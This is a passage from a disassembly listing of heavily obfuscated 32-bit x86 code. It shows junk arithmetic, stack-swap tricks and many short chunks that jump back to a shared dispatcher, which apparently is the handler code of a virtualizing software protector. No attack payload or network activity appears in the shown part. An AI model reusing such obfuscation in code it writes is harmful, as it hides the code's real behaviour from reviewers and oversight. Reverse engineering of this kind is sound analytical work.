		inc	al
		jmp	loc_57496D
; ---------------------------------------------------------------------------


loc_579FE7:				; CODE XREF: ud2_____:0057B5F8j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_578948
; ---------------------------------------------------------------------------


loc_57A005:				; CODE XREF: ud2_____:0057680Fj
		inc	bl
		push	ecx
		mov	ch, 3
		shr	ch, 6
		jmp	loc_5792BF
; ---------------------------------------------------------------------------


loc_57A012:				; CODE XREF: ud2_____:0057716Dj
		mov	ebp, esp
		push	edi
		jmp	loc_573841
; ---------------------------------------------------------------------------


loc_57A01A:				; CODE XREF: ud2_____:005735DDj
		add	[esp+4], ebp
		pop	ebp
		pop	esi
		push	edi
		mov	edi, 686528E4h
		push	ebx
		mov	ebx, 4EB77B90h
		push	edx
		push	5524BBEh
		pop	edx
		and	ebx, edx
		pop	edx
		and	ebx, 3AFF3A5Bh
		dec	ebx
		shl	ebx, 3
		sub	ebx, 8A9CF8D2h
		jmp	loc_572A72
; ---------------------------------------------------------------------------


loc_57A04B:				; CODE XREF: ud2_____:005740E5j
		push	edi
		mov	edi, 100h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	5E90h
		mov	[esp], esi
		mov	esi, eax
		jmp	loc_571C64
; ---------------------------------------------------------------------------


loc_57A068:				; CODE XREF: ud2_____:00573CF5j
		mov	esi, 6D9DFA26h
		mov	ebx, esi
		pop	esi
		jmp	loc_575F10
; ---------------------------------------------------------------------------


loc_57A075:				; CODE XREF: ud2_____:00572978j
		sub	ebx, 384B57A3h
		or	ebx, 388F6C12h
		jmp	loc_57D998
; ---------------------------------------------------------------------------


loc_57A086:				; CODE XREF: ud2_____:0057BD5Cj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 2D8AF128h
		sub	edi, 50BB7A8Ah
		sub	edi, 0C4904A5h
		add	edi, eax
		add	edi, 0C4904A5h
		jmp	loc_579749
; ---------------------------------------------------------------------------


loc_57A0AB:				; CODE XREF: ud2_____:00575565j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5749F3
; ---------------------------------------------------------------------------


loc_57A0C6:				; CODE XREF: ud2_____:0057A91Aj
		mov	edi, [esp]
		jmp	loc_577EE2
; ---------------------------------------------------------------------------


loc_57A0CE:				; CODE XREF: ud2_____:00573574j
		mov	esi, 4
		sub	eax, 20A632AAh
		jmp	loc_5777D7
; ---------------------------------------------------------------------------


loc_57A0DD:				; CODE XREF: ud2_____:005769B2j
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_57A3A9
; ---------------------------------------------------------------------------


loc_57A0EF:				; CODE XREF: ud2_____:0057857Fj
		add	bl, 80h
		jmp	loc_57C684
; ---------------------------------------------------------------------------


loc_57A0F7:				; CODE XREF: ud2_____:00572F30j
		add	edx, eax
		jmp	loc_572408
; ---------------------------------------------------------------------------


loc_57A0FE:				; CODE XREF: ud2_____:005738C8j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_57340A
; ---------------------------------------------------------------------------


loc_57A115:				; CODE XREF: ud2_____:00576B3Bj
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_571CDA
; ---------------------------------------------------------------------------


loc_57A123:				; CODE XREF: ud2_____:00573625j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 79h
		jmp	loc_576DF2
; ---------------------------------------------------------------------------


loc_57A133:				; CODE XREF: ud2_____:0057D1E9j
		add	ebp, ecx
		pop	ecx
		add	ebx, 7F046DF4h
		add	ebx, ebp
		sub	ebx, 7F046DF4h
		pop	ebp
		jmp	loc_5724FD
; ---------------------------------------------------------------------------


loc_57A14A:				; CODE XREF: ud2_____:0057367Cj
		add	eax, ebp
		pop	ebp
		sub	eax, 40F74924h
		jmp	loc_5792A9
; ---------------------------------------------------------------------------


loc_57A157:				; CODE XREF: ud2_____:0057863Dj
		mov	ecx, 3C9B789Eh
		inc	ecx
		sub	ecx, 0FFB161C4h
		push	ecx
		pop	edx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 40C6195h
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	ebp
		push	2D043536h
		pop	ebp
		jmp	loc_5745A5
; ---------------------------------------------------------------------------


loc_57A196:				; CODE XREF: ud2_____:0057C84Dj
		mov	edi, 7F435EA0h
		add	edx, edi
		jmp	loc_578595
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A1B1:				; CODE XREF: ud2_____:00578722j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		jmp	loc_572E0C
; ---------------------------------------------------------------------------


loc_57A1C3:				; CODE XREF: ud2_____:0057CBC5j
		add	edx, 33D02C0Eh
		add	ecx, edx
		pop	edx
		or	[edi+1Ch], ecx
		jmp	loc_57BC0E
; ---------------------------------------------------------------------------


loc_57A1D4:				; CODE XREF: ud2_____:005783C9j
		xor	ecx, 8634FF1Dh
		jmp	loc_57CFBA
; ---------------------------------------------------------------------------


loc_57A1DF:				; CODE XREF: ud2_____:0057340Bj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	40CDh
		jmp	loc_5740CE
; ---------------------------------------------------------------------------


loc_57A200:				; CODE XREF: ud2_____:00578F17j
		sub	eax, edx
		jmp	loc_578119
; ---------------------------------------------------------------------------


loc_57A207:				; CODE XREF: ud2_____:0057D9FFj
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A20D:				; CODE XREF: ud2_____:00579573j
		and	edi, 5F885A29h
		shr	edi, 6
		add	edi, 0ADF25CBCh
		xor	ebx, edi
		pop	edi
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_579170
; ---------------------------------------------------------------------------


loc_57A23F:				; CODE XREF: ud2_____:005747D6j
		not	bl
		xor	bl, 0BFh
		dec	bl
		dec	bl
		sub	bl, 0B7h
		add	al, bl
		pop	ebx
		add	al, bl
		push	edx
		push	eax
		mov	al, 7Dh
		mov	dh, al
		pop	eax
		sub	al, dh
		pop	edx
		push	edx
		mov	dl, 0B0h
		sub	dl, 66h
		inc	dl
		shl	dl, 7
		or	dl, 0F9h
		shl	dl, 8
		add	dl, 70h
		add	al, dl
		pop	edx
		push	76B3h
		mov	[esp], ecx
		mov	ch, 31h
		sub	ch, 79h
		jmp	loc_571EE3
; ---------------------------------------------------------------------------
		push	1BDDh
		mov	[esp], edi
		push	ecx
		jmp	loc_57A658
; ---------------------------------------------------------------------------


loc_57A291:				; CODE XREF: ud2_____:00572B34j
		sub	edi, 0A5683F80h
		sub	edx, edi
		pop	edi
		and	ecx, edx
		pop	edx
		sub	ecx, 0B85F0FCh
		add	ebp, ecx
		pop	ecx
		sub	ecx, 2EF656Dh
		add	ecx, ebp
		add	ecx, 2EF656Dh
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	esi
		mov	esi, 78B8355Eh
		dec	esi
		jmp	loc_5737A3
; ---------------------------------------------------------------------------


loc_57A2CB:				; CODE XREF: ud2_____:005797ECj
		push	2D6Ch
		mov	[esp], esp
		push	ecx
		jmp	loc_5744EA
; ---------------------------------------------------------------------------


loc_57A2D9:				; CODE XREF: ud2_____:0057C275j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5773DD
; ---------------------------------------------------------------------------


loc_57A2E9:				; CODE XREF: ud2_____:0057CC63j
		add	ebx, 4
		jmp	loc_57364F
; ---------------------------------------------------------------------------


loc_57A2F4:				; CODE XREF: ud2_____:00579595j
		mov	esp, [esp]
		jmp	loc_57A8E2
; ---------------------------------------------------------------------------


loc_57A2FC:				; CODE XREF: ud2_____:005725F0j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_577862
; ---------------------------------------------------------------------------


loc_57A307:				; CODE XREF: ud2_____:00577338j
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A310:				; CODE XREF: ud2_____:00572086j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_579BB8
; ---------------------------------------------------------------------------


loc_57A31E:				; CODE XREF: ud2_____:005760A7j
		add	ebx, 0FE2103A5h
		jmp	loc_578BAE
; ---------------------------------------------------------------------------


loc_57A329:				; CODE XREF: ud2_____:00571E7Ej
		push	esi
		push	ebx
		jmp	loc_5746EE
; ---------------------------------------------------------------------------


loc_57A330:				; CODE XREF: ud2_____:005730FCj
		not	esi
		xchg	esi, [esp]
		pop	edx
		jmp	loc_57B557
; ---------------------------------------------------------------------------


loc_57A33B:				; CODE XREF: ud2_____:00576D2Dj
		pop	esi
		add	esi, 4
		jmp	loc_57AF3F
; ---------------------------------------------------------------------------


loc_57A347:				; CODE XREF: ud2_____:0057599Ej
		or	esi, 38D56EBCh
		add	esi, 0CD40075Fh
		jmp	loc_5752E9
; ---------------------------------------------------------------------------


loc_57A358:				; CODE XREF: ud2_____:005746C3j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 2
		sub	ebx, 31CC42B7h
		jmp	loc_57773A
; ---------------------------------------------------------------------------


loc_57A371:				; CODE XREF: ud2_____:00574E89j
		xchg	ebp, ecx
		xor	ecx, 0C51B7A04h
		sub	eax, 5CB47EFAh
		add	eax, ecx
		add	eax, 5CB47EFAh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57C615
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_578D1F
; ---------------------------------------------------------------------------


loc_57A394:				; CODE XREF: ud2_____:0057B9EAj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		mov	ecx, eax
		jmp	loc_57697A
; ---------------------------------------------------------------------------


loc_57A3A9:				; CODE XREF: ud2_____:0057A0EAj
		xchg	ebx, [esp]
		pop	esp
		push	eax
		jmp	loc_5741C8
; ---------------------------------------------------------------------------


loc_57A3B3:				; CODE XREF: ud2_____:0057C725j
		push	esi
		mov	esi, 64AC5523h
		add	edx, 4015186Fh
		jmp	loc_573BFC
; ---------------------------------------------------------------------------


loc_57A3C4:				; CODE XREF: ud2_____:00576F31j
		or	eax, eax
		jz	loc_57946E
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57D3F7
; ---------------------------------------------------------------------------


loc_57A3D7:				; CODE XREF: ud2_____:0057D0D5j
		push	dword ptr [esp]
		jmp	loc_575040
; ---------------------------------------------------------------------------


loc_57A3DF:				; CODE XREF: ud2_____:00577B6Cj
		add	ebp, eax
		push	0D5Bh
		mov	[esp], ecx
		mov	ecx, 13F5129Ch
		add	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_572112
; ---------------------------------------------------------------------------


loc_57A3F8:				; CODE XREF: ud2_____:00577509j
		mov	si, [esp]
		add	esp, 2
		movzx	eax, ax
		push	2704h
		mov	[esp], ebx
		push	61D8h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	dword ptr [esp+4], 4C6547AFh
		add	[esp+4], ecx
		jmp	loc_57BCB9
; ---------------------------------------------------------------------------


loc_57A42C:				; CODE XREF: ud2_____:00577436j
		pop	ebx
		sub	eax, 1111635Bh
		jmp	loc_577CD8
; ---------------------------------------------------------------------------


loc_57A437:				; CODE XREF: ud2_____:00579911j
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A443:				; CODE XREF: ud2_____:0057BEDEj
		mov	[esp], ebp
		mov	ebp, 40EF4089h
		and	ebp, 0FAC3E08h
		shl	ebp, 5
		or	ebp, 11057A41h
		shl	ebp, 8
		jmp	loc_57AB9E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_578FA6
; ---------------------------------------------------------------------------


loc_57A46B:				; CODE XREF: ud2_____:00578B3Bj
		xor	ebp, 2AEE672Eh
		jmp	loc_57A7B7
; ---------------------------------------------------------------------------


loc_57A476:				; CODE XREF: ud2_____:005776C2j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A47B:				; CODE XREF: ud2_____:0057C9D1j
		push	ebx
		push	2
		pop	ebx
		jmp	loc_57B728
; ---------------------------------------------------------------------------


loc_57A487:				; CODE XREF: ud2_____:0057D8CFj
		add	edi, ecx
		push	eax
		jmp	loc_575A31
; ---------------------------------------------------------------------------


loc_57A48F:				; CODE XREF: ud2_____:00576038j
		dec	esi
		dec	esi
		push	edx
		mov	edx, 74480AD3h
		and	edx, 7260585Fh
		not	edx
		inc	edx
		add	edx, 5C30072h
		xor	edx, 8531B111h
		sub	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_572C58
; ---------------------------------------------------------------------------


loc_57A4C3:				; CODE XREF: ud2_____:00579F1Aj
		mov	edx, 0B3C6F3Ah
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0AE15680h
		add	ebx, 23695C9Ah
		jmp	loc_57274F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_57679B
; ---------------------------------------------------------------------------


loc_57A4F6:				; CODE XREF: ud2_____:0057A9AAj
		add	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5775AA
; ---------------------------------------------------------------------------


loc_57A503:				; CODE XREF: ud2_____:0057C3B4j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_576FA6
; ---------------------------------------------------------------------------


loc_57A50E:				; CODE XREF: ud2_____:0057CC31j
		sub	esi, 9AA1D47h
		pop	edi
		jmp	loc_57216D
; ---------------------------------------------------------------------------


loc_57A51A:				; CODE XREF: ud2_____:0057748Ej
		neg	edi
		xor	edi, 109370D0h
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		jmp	loc_572FB3
; ---------------------------------------------------------------------------


loc_57A53A:				; CODE XREF: ud2_____:0057727Dj
		mov	[esp], ebp
		mov	ebp, 2
		add	edx, ebp
		jmp	loc_5728C5
; ---------------------------------------------------------------------------


loc_57A549:				; CODE XREF: ud2_____:005739A7j
		pop	ecx
		sub	bl, 0D6h
		push	6EE3h
		jmp	loc_571BF1
; ---------------------------------------------------------------------------


loc_57A557:				; CODE XREF: ud2_____:00572E50j
		mov	[esp], ebx
		jmp	loc_571F91
; ---------------------------------------------------------------------------


loc_57A55F:				; CODE XREF: ud2_____:0057BFE0j
		add	bh, 89h
		push	ebx
		jmp	loc_576AFB
; ---------------------------------------------------------------------------


loc_57A568:				; CODE XREF: ud2_____:005722D0j
		sub	edi, 1
		push	ebx
		push	esi
		mov	esi, 0F92EE29Eh
		jmp	loc_5726F8
; ---------------------------------------------------------------------------


loc_57A57A:				; CODE XREF: ud2_____:00572156j
		movzx	cx, ah
		jmp	loc_5785B1
; ---------------------------------------------------------------------------


loc_57A583:				; CODE XREF: ud2_____:0057A786j
		mov	ebp, 40000h
		mov	ebx, ebp
		jmp	loc_57CCF5
; ---------------------------------------------------------------------------


loc_57A58F:				; CODE XREF: ud2_____:005766ACj
		push	eax
		mov	al, 34h
		mov	dh, al
		pop	eax
		sub	al, dh
		pop	dx
		add	al, 0BBh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 1Ah
		push	edx
		jmp	loc_5755B5
; ---------------------------------------------------------------------------


loc_57A5AC:				; CODE XREF: ud2_____:0057C362j
		pop	edi
		jmp	loc_57279B
; ---------------------------------------------------------------------------


loc_57A5B2:				; CODE XREF: ud2_____:0057ABC8j
		sub	ecx, 0A01FFFFCh
		push	esi
		mov	esi, 0D4B1E24h
		add	esi, 0F86D5FA1h
		jmp	loc_57763C
; ---------------------------------------------------------------------------


loc_57A5C9:				; CODE XREF: ud2_____:0057C8CAj
		add	edx, 4
		jmp	loc_57977F
; ---------------------------------------------------------------------------


loc_57A5D4:				; CODE XREF: ud2_____:005748F0j
		pop	edx
		pop	ecx
		sub	ebx, 5FE65148h
		sub	ebx, edi
		add	ebx, 5FE65148h
		pop	edi
		push	ecx
		jmp	loc_574674
; ---------------------------------------------------------------------------


loc_57A5EB:				; CODE XREF: ud2_____:0057B64Ej
		sub	eax, ebp
		add	eax, 12727E2Dh
		pop	ebp
		jmp	loc_575DAB
; ---------------------------------------------------------------------------


loc_57A5F8:				; CODE XREF: ud2_____:0057239Fj
		sub	edx, eax
		jmp	loc_5747A8
; ---------------------------------------------------------------------------


loc_57A5FF:				; CODE XREF: ud2_____:0057C095j
		push	198A26CDh
		pop	esi
		dec	esi
		sub	esi, 0DDFAE21Ch
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 0BF3B04C1h
		sub	ecx, ebp
		pop	ebp
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_571BA7
; ---------------------------------------------------------------------------


loc_57A62D:				; CODE XREF: ud2_____:00572952j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	7559h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_577FBB
; ---------------------------------------------------------------------------


loc_57A64C:				; CODE XREF: ud2_____:00577B1Ej
		add	word ptr [esp+2], 7723h
		jmp	loc_57D0B0
; ---------------------------------------------------------------------------


loc_57A658:				; CODE XREF: ud2_____:0057A28Cj
		push	eax
		push	ebp
		mov	ebp, 49917FE5h
		neg	ebp
		sub	ebp, 68A256C4h
		jmp	loc_574E00
; ---------------------------------------------------------------------------


loc_57A66C:				; CODE XREF: ud2_____:00576BBBj
		xchg	edi, edx
		add	edi, 1
		xchg	edi, edx
		add	edx, 7DFB302Ch
		add	edx, 0D9A48E2Fh
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_575B16
; ---------------------------------------------------------------------------


loc_57A689:				; CODE XREF: ud2_____:0057635Cj
		mov	edi, [esp]
		jmp	loc_579320
; ---------------------------------------------------------------------------


loc_57A691:				; CODE XREF: ud2_____:00574A0Aj
		sub	edi, 27D647F9h
		xor	edi, 1F1D0564h
		add	ecx, 4FDC695Fh
		add	ecx, edi
		sub	ecx, 4FDC695Fh
		pop	edi
		push	7FACh
		mov	[esp], edi
		jmp	loc_5764B5
; ---------------------------------------------------------------------------


loc_57A6B9:				; CODE XREF: ud2_____:0057204Cj
		mov	esi, esp
		jmp	loc_57AB4C
; ---------------------------------------------------------------------------


loc_57A6C0:				; CODE XREF: ud2_____:00575A45j
		mov	esi, 4EED19E4h
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_571E8C
; ---------------------------------------------------------------------------


loc_57A6D5:				; CODE XREF: ud2_____:00577126j
		add	ebp, 0C60294EDh
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_575742
; ---------------------------------------------------------------------------


loc_57A6EC:				; CODE XREF: ud2_____:00574727j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57896C
; ---------------------------------------------------------------------------


loc_57A717:				; CODE XREF: ud2_____:00575BB6j
		sub	ebx, 31601F1Dh
		add	ebx, esi
		add	ebx, 31601F1Dh
		pop	esi
		sub	ebx, ecx
		sub	ebx, 3809576Fh
		mov	ecx, [esp]
		jmp	loc_57B738
; ---------------------------------------------------------------------------


loc_57A736:				; CODE XREF: ud2_____:0057D194j
		xor	bh, al
		jmp	loc_576792
; ---------------------------------------------------------------------------


loc_57A73D:				; CODE XREF: ud2_____:0057DBA7j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5779FF
; ---------------------------------------------------------------------------


loc_57A750:				; CODE XREF: ud2_____:0057AF27j
		mov	edx, 2
		add	ebx, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 2CA90ED3h
		sub	ecx, 52BA44F8h
		inc	ecx
		jmp	loc_579580
; ---------------------------------------------------------------------------


loc_57A76F:				; CODE XREF: ud2_____:00579175j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A774:				; CODE XREF: ud2_____:0057BF75j
		sub	al, bh
		jmp	loc_577C6C
; ---------------------------------------------------------------------------


loc_57A77B:				; CODE XREF: ud2_____:00578A52j
		mov	esi, 473A5A45h
		jmp	loc_57271B
; ---------------------------------------------------------------------------


loc_57A785:				; CODE XREF: ud2_____:00572935j
		push	ebp
		jmp	loc_57A583
; ---------------------------------------------------------------------------


loc_57A78B:				; CODE XREF: ud2_____:0057B875j
		pop	edx
		jmp	loc_579480
; ---------------------------------------------------------------------------


loc_57A791:				; CODE XREF: ud2_____:00578E52j
		and	eax, ebp
		jmp	loc_576EF7
; ---------------------------------------------------------------------------


loc_57A798:				; CODE XREF: ud2_____:0057A924j
		and	ecx, 43387CA5h
		jmp	loc_575281
; ---------------------------------------------------------------------------


loc_57A7A3:				; CODE XREF: ud2_____:00576F9Bj
		pop	esi
		sub	esi, 2B1C3BCEh
		jmp	loc_5761AF
; ---------------------------------------------------------------------------


loc_57A7AF:				; CODE XREF: ud2_____:005794C1j
		not	dword ptr [esp]
		jmp	loc_5755F8
; ---------------------------------------------------------------------------


loc_57A7B7:				; CODE XREF: ud2_____:0057A471j
		dec	ebp
		push	ecx
		mov	ecx, 2DB655BFh
		push	edi
		mov	edi, 71F8173Ch
		shl	edi, 8
		xor	edi, 829F1D18h
		add	ecx, edi
		jmp	loc_573C2F
; ---------------------------------------------------------------------------


loc_57A7D4:				; CODE XREF: ud2_____:00577445j
		push	71BEh
		mov	[esp], ebx
		jmp	loc_5743E0
; ---------------------------------------------------------------------------


loc_57A7E1:				; CODE XREF: ud2_____:00576E20j
		mov	ecx, 19CD4A88h
		jmp	loc_573209
; ---------------------------------------------------------------------------


loc_57A7EB:				; CODE XREF: ud2_____:005758ADj
		push	ecx
		push	eax
		mov	eax, 5093030Fh
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		jmp	loc_57B53D
; ---------------------------------------------------------------------------


loc_57A7FC:				; CODE XREF: ud2_____:00572403j
		add	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 350329Bh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_572B71
; ---------------------------------------------------------------------------


loc_57A82A:				; CODE XREF: ud2_____:0057B524j
		push	ebx
		mov	ebx, 619D6C0Bh
		xor	eax, ebx
		pop	ebx
		push	2F0Ch
		jmp	loc_574166
; ---------------------------------------------------------------------------


loc_57A83D:				; CODE XREF: ud2_____:00571C10j
		xor	dh, cl
		jmp	loc_57B2BB
; ---------------------------------------------------------------------------


loc_57A844:				; CODE XREF: ud2_____:0057D6E5j
		mov	ebp, 7CE5602Eh
		shr	ebp, 6
		add	ebp, 0FE0C6A82h
		add	edi, 29A219ABh
		add	edi, ebp
		sub	edi, 29A219ABh
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_574F62
; ---------------------------------------------------------------------------


loc_57A87F:				; CODE XREF: ud2_____:00574D2Cj
		mov	ebp, 48713FD8h
		xor	ebp, 1DE92375h
		not	ebp
		jmp	loc_573CDB
; ---------------------------------------------------------------------------


loc_57A891:				; CODE XREF: ud2_____:0057AC32j
		pop	edx
		add	ebp, 36430526h
		sub	ebp, edi
		sub	ebp, 36430526h
		pop	edi
		jmp	loc_57AFB6
; ---------------------------------------------------------------------------


loc_57A8A6:				; CODE XREF: ud2_____:00577D64j
		pop	ebp
		jmp	loc_57273C
; ---------------------------------------------------------------------------


loc_57A8AC:				; CODE XREF: ud2_____:00572429j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		inc	ebx
		not	ebx
		push	ebx
		push	4841h
		jmp	loc_5794BB
; ---------------------------------------------------------------------------


loc_57A8D0:				; CODE XREF: ud2_____:0057DC09j
		and	eax, edi
		pop	edi
		shr	eax, 0Eh
		xor	eax, ecx
		push	591Ch
		jmp	loc_5786E3
; ---------------------------------------------------------------------------


loc_57A8E2:				; CODE XREF: ud2_____:0057A2F7j
		movzx	ax, byte ptr [eax]
		push	small 3E12h
		mov	[esp], ax
		jmp	loc_57648E
; ---------------------------------------------------------------------------


loc_57A8F3:				; CODE XREF: ud2_____:0057693Fj
		add	ebx, 31DA7085h
		pop	edi
		jmp	loc_5785BE
; ---------------------------------------------------------------------------


loc_57A8FF:				; CODE XREF: ud2_____:00578565j
		mov	[esp], ecx
		mov	ecx, 70DF1EF2h
		push	8F20E90Eh
		jmp	loc_576B35
; ---------------------------------------------------------------------------


loc_57A911:				; CODE XREF: ud2_____:00574FBEj
		dec	edi
		xor	edi, 124EAE9Fh
		xor	esi, edi
		jmp	loc_57A0C6
; ---------------------------------------------------------------------------


loc_57A91F:				; CODE XREF: ud2_____:00577C84j
		mov	ecx, 58390A6Ah
		jmp	loc_57A798
; ---------------------------------------------------------------------------


loc_57A929:				; CODE XREF: ud2_____:005747A3j
		push	14E0h
		mov	[esp], ebx
		jmp	loc_5798C7
; ---------------------------------------------------------------------------


loc_57A936:				; CODE XREF: ud2_____:00572D3Bj
		add	esp, 4
		jmp	loc_57B376
; ---------------------------------------------------------------------------


loc_57A941:				; CODE XREF: ud2_____:005761E7j
		sub	ebp, 0F6A18A3Dh
		mov	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_57685C
; ---------------------------------------------------------------------------


loc_57A950:				; CODE XREF: ud2_____:005796C6j
		pop	ebp
		or	ebp, 3AC753A3h
		add	ebp, 7A795CD3h
		add	esi, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	0ECCh
		mov	[esp], ecx
		jmp	loc_571E2F
; ---------------------------------------------------------------------------


loc_57A973:				; CODE XREF: ud2_____:005773C6j
		add	esp, 4
		push	0CF8h
		mov	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A986:				; CODE XREF: ud2_____:0057814Dj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_57BD98
; ---------------------------------------------------------------------------


loc_57A999:				; CODE XREF: ud2_____:00572B6Cj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A99E:				; CODE XREF: ud2_____:0057D21Aj
		sub	esi, 2C7F5E54h
		sub	esi, 83995CD7h
		jmp	loc_57A4F6
; ---------------------------------------------------------------------------


loc_57A9AF:				; CODE XREF: ud2_____:0057DB03j
		add	edx, ebx
		jmp	loc_5729A2
; ---------------------------------------------------------------------------


loc_57A9B6:				; CODE XREF: ud2_____:0057B31Dj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_574BEE
; ---------------------------------------------------------------------------


loc_57A9C4:				; CODE XREF: ud2_____:00577668j
		add	eax, ebp
		jmp	loc_578BC0
; ---------------------------------------------------------------------------


loc_57A9CB:				; CODE XREF: ud2_____:00574F14j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57A9D0:				; CODE XREF: sub_59C59F-1F71Ej
		add	dl, 52h
		jmp	loc_5738F2
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57A9D8:				; CODE XREF: ud2_____:00574015j
		add	esp, 4
		jmp	loc_5759F2
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_572255
; ---------------------------------------------------------------------------


loc_57A9E6:				; CODE XREF: ud2_____:0057C873j
		sub	ebx, 2FE56936h
		pop	dword ptr [eax]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57A9F3:				; CODE XREF: ud2_____:0057492Ej
		push	ebp
		mov	ebp, 1046147Bh
		not	ebp
		neg	ebp
		add	ebp, 2328C766h
		jmp	loc_57C015
; ---------------------------------------------------------------------------


loc_57AA08:				; CODE XREF: ud2_____:005734F5j
		sub	esi, 35557788h
		pop	edx
		jmp	loc_578352
; ---------------------------------------------------------------------------


loc_57AA14:				; CODE XREF: ud2_____:00573549j
		xor	eax, [esp]
		pop	esp
		mov	[esp], dx
		mov	dh, 0E8h
		xor	al, dh
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		jmp	loc_57CBFB
; ---------------------------------------------------------------------------


loc_57AA2F:				; CODE XREF: ud2_____:0057906Bj
